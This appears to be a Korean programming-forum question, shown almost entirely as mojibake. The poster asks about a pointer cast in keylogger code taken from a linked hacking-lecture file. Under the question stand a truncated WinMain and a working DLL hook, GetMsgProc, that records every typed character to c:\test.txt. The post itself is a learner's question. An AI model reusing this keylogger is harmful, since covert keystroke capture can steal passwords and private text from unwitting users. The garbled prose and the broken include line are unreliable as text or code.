mongii´ÔÀÇ °Á´ ¾Æ·¡ ¸µÅ©±¸¿ä...
http://research.hackerschool.org/Datas/Research_Lecture/keylog.txt
¾Æ·¡ DLL¾ÈÀÇ ÄÚµåÁß...
if(((MSG*)lp)->message == (long)WM_CHAR) Àº message¶ó´Â ¸â¹ö¿Í WM_CHAR°¡ °°ÀºÁö È®ÀÎÇÏ´Â °Í °°½À´Ï´Ù.
¿©±â¼ ((MSG*)lp)->message °¡ ¾î¶² µ¿ÀÛÀ» ÇÏ´ÂÁö ¿©Âã´Ï´Ù.
((MSG*)lp)ÀÇ Àǹ̸¦ ¸ð¸£°Ú½À´Ï´Ù.
*°¡ MSG±¸Á¶Ã¼µÚ¿¡ ºÙÀ¸¸é ¾î¶² ÀǹÌÀÎÁö¿ä? ÀÚ¼¼ÇÑ ¼³¸í ºÎʵ右´Ï´Ù. °¨»çÇÕ´Ï´Ù!
================= ۷ΰÅ.exeÀÇ WinMain()Áß ÀϺΠ=================
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
HWND hWnd;
MSG message;
:
:
================= Űº¸µå ³»¿ëÀ» ÆÄÀÏ·Î ÀúÀåÇÏ´Â DLL ÄÚµå ===================
#include <window.h>
__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
if(((MSG*)lp)->message == (long)WM_CHAR)
{
HANDLE hFile;
DWORD dwWrite;
hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 0, 0, FILE_END);
WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
CloseHandle(hFile);
}
return TRUE;
}
|